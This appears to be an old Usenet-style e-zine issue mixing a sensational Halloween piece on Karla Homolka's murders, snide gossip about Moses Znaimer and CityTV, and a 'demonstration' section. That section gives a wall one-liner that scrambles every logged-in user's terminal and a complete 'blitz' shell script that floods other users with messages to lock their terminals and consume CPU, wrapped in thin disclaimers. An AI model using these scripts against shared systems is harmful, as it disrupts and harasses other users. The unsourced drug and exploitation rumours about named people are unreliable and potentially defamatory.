That simple sentence, contained in The Electronic Gordon Domm, (aka the alt.fan.karla-homolka FAQ) drives a barb into your grey matter and transports you on a breakneck excursion into the gory horrors of mass murderer Karla Homolka. A primeval scream of outrage escapes your lips, you howl at the moon and say I've seen enough, this Homolka can't be a real human. Rape, murder, incest. You don't want to know the gory details; no, not you. That barb, though, gives a grotesque tug at your brain tissue and you find yourself reading on. To mask your morbid curiosity, you sound a nervous laugh and say "this hideous tale must be a halloween spoof, right?" Sorry friend, but Karla Homolka wears no halloween mask. The rumours then; they must be false right? Some, perhaps, but this is no halloween story. While the truth will remain locked in Marion Boyd's castle of cover-up yet a few more weeks, the whole truth, thanks to Canadian author Brian O'Neill and his forthcoming true-crime book, will soon be know to all. An interview with O'Neill has already revealed the manner in which Karla Homolka did participate, and Paul Bernardo is alleged to have participated, in the death of at least one child. So, while you're at a party filled with ghosts and goblins, or while you're walking your own child through streets filled with make believe monsters, remember that real monsters do exist. Karla Homolka is a real monster. In the weeks that follow, in the wake of Mr. O'Neill's book, many rumours contained in The Electronic Gordon Domm will be dispelled as simple rumour, but never forget this hideous truth: Karla Homolka is responsible for the brutal rape, torture and murder of two children, Leslie Erin Mahaffy, and Kristen Dawn French, and for the murder of her own baby sister, Tammy Lynn Homolka. Perhaps this night, as you pass by those make believe graveyards, you'll take a moment to say a prayer for all those not here this halloween day. Those victims of real monsters. ************************************************************************* *THE TRAVEL SECTION* ^^^^^^^^^^^^^^^^^^^^ Usenets Spookers ^^^^^^^^^^^^^^^^ A full year ago we ranted inncessantly about a net cabal and !now!....

More CityTV fun, our pal "Mo" gets into the writing critic business. - note to out of town readers, this local TV station = scandalous hotbed Moses Znaimer, owner..self-ascribed "genius" (bwaaa) as you may or may not know spends 14 hrs per day in front of the mirror. CityTV is alleged to be involved in exploitation of its' employees and widely rumoured drug activity. (Edited Article scooped from SHIFT Magazine ) >Here's an abridged version of sizzling interview with Moses Znaimer >that appeared in Shift magazine Vol 3 #1. By Evan Solomon SHIFT So how do you respond to the idea that Moses Znaimer is a genius who makes television for stupid people. MOSES Do you watch Citytv? SHIFT Yes. MOSES Do you think you're stupid? SHIFT I don't watch all Citytv. MOSES Do I ask you to? The opinion that what we do in television is shallow is a shallow opinion. It comes down to that same old thing: people who are threatened, people who have their old dominance disrupted, they lash out. But TV is an art as well as an industry. And people will come to recognize it. We do a new kind of work. I sing television. We make channel. SHIFT You say articles like the one I wrote on the shallowness of video games is representative of the type of journalism you hate. That it's pontificating, it's pretentious... MOSES It's utterly artificial. You take something which is meant to be a toy, you impose on it an obligation to be so much more, then you fault it for not being up to that mark when, in fact, its brilliance lies in its simplicity. As a consequence of which, it is everywhere. We, in the decadent West with those terrible stupid video games, have the most computer literate population in the world and those other places where it was all reserved for stuffy elites have got crumbling societies. When are you going to wake up? (ed-(mrclean..what a pompous ass) SHIFT Critique of culture is not just setting up straw men and tearing them down. MOSES Yes it is. Stop pointing the finger at television, you, Mister Critical Print Putz. Look at yourself. Look at the biases print brings to its work. Ask yourself the same questions you ask us. What are the conditioned reflexes that come from the exercise of print medium? Why is it that writers are so cynical? Why must they always come to the conclusion that they are better than the people or things they're writing about? Is it inherent in the medium? Is it inherent in the decadent phase of this medium? Was print once brave, bright and did it bring revolutions with it? That's what you should do. That would be a contribution. Otherwise you're engaged in a fad making a lot of noise. (rest of article edited for space and time) see full article in SHIFT Magazine or email me for the text. ------------------------ -ed Lemme bend your ear here. The man is out of control. He has been seen with cigarette holder and sunglasses leading his entourage of media mutts like Al Pacino in Scarface. Frankly, I believe the man suffers Heidigger's "right man syndrome" Marks my words, it's Jonestown revisited. And Moses.....please get help. RUMOUR ^^^^^^ Shift WWW adress (URL) is: http://www.shift.com/shift.home Rumour has it that !dr.baptista may be instrumental in this connection. Is this the fabled Montreal mole that !dr.baptista is doing the lecture circuit for? What! You mean you didn't know the !dr.s were doing the lecture circuit? Any http: "sleuths" out there?

Of course, we at NET.SCANDAL know our readers are far too decent and mature to use these commands maliciously. This is for informational and demonstrational purposes only. BTW: These methods do not work on users who have their messages turned off (mesg n). No problem, though. Most people don't do that. The first method is very quick, simple, and dirty. Log onto any Unix based system, and type this at the commandline: echo -e "\033c\033(0\033#8\033[1;3r\033[J\033[5m\033[?5h"|wall This will cause everybody's screen to go haywire. You will know if it worked by what appears on your own screen. Only do this on your own system. If anyone is logged on a virtual console, the machine will need to be rebooted to clean up the mess. (There may be a reset command for fixing the text mode on the system you do this to. Unfortuneately, all of the systems I tried this on could not use it effectively, and were forced to reboot) Another thing you can try is to wall the ZModem escape sequence. (literally, Control-X, and 13 '0's). Packages with AutoZmodem (usually DOS or Windows based comm packages) will invoke ZModem. This is a much more 'tame' version of the above idea. The second method is much more intuitive. Cut out the shell script and save it in a file called 'blitz'. Then use the command 'chmod a+x blitz' to make it executable. It is then ready to go. I strongly advise that you run this against your own account or on your own system only. Most system administrators will not react too kindly if you execute this script against unsuspecting users. Definitely do NOT execute the script using the 'all' arguement unless you are on your own system. It will lock up everybody's terminal (including root) on the system, except for yourself. Someone could easily log in on another terminal, before everyone hangs up, and see who did it. NOTE: The line "USERS=`who| cut -c1-8`" has reverse-apostrophes which may be accepted as control characters in some editors, which will alter the code and make it inoperable. Linux's cut/paste feature (selection) will alter this line. Probably all the other ones will also. NOTE: Line 31 of the script (the line which has been marked off) may be interpreted incorrectly by some editors, due to the reverse apostrophes used. If the line looks something like this: USERS=Who| cut -c1-8 # check the reverse apostrophes then it has been altered. Change it to the following, but with the apostrophes replaced by reverse-apostrophes: USERS='who| cut -c1-8' # check the reverse apostrophes ----------------------------- cut here ----------------------------------- #!/bin/sh cat << EOF > /dev/null BLITZ ----- Written by: The Most Reverend Father Lucifer Messiah This program exploits a problem with how Unix handles some background tasks. As well as making it impossible for the victims to do anything on the screen, (and forcing them to hang up), it takes an enormous chunk of the CPU time. On at least 1 unix flavour, users can simply c their way to normalcy. 5 others that I have tried this on, they can not. Once the program is finished running, it is safe to log off. A minor bug allows the processes to continue, even though they haven't been nohup'ed. This program is not meant to be used in any malicious way, but to demonstrate a problem area needing a quick fixing. EOF if [ $# = 0 ]; then echo USAGE: blitz [all] [user1 user2 user3...] echo exit fi if [ $1 = 'all' ]; then USERS=`who| cut -c1-8` # check the reverse apostrophes echo Blitzing everyone except $LOGNAME for p in $USERS do if [ ${p} != $LOGNAME ]; then yes GROOVE OR DIE\!|write ${p} & echo -n ${p}' ' fi done echo echo echo --- Blitzing now in progress --- echo exit else echo echo Blitzing the following users: for i in $*; do echo -n $i\ yes GROOVE OR DIE\!|write $i & done echo echo echo --- Blitzing now in progress --- echo fi END article------ ************************************************************************ PRANKS & PHUN - Cryptic Halloween tips - (email for details) ^^^^^^^^^^^^^ Look into the IHAVE mystery next time you telnet to port 119 Look into the phoenix.tar script for irc.- (Stops anything but a bullet) Look into the unflash.irc script for irc - (stops screen bombs from idiots) Look into the attainment of thirty to forty Internet connections free Look into my eyes....you are getting sleeeeeeepy!
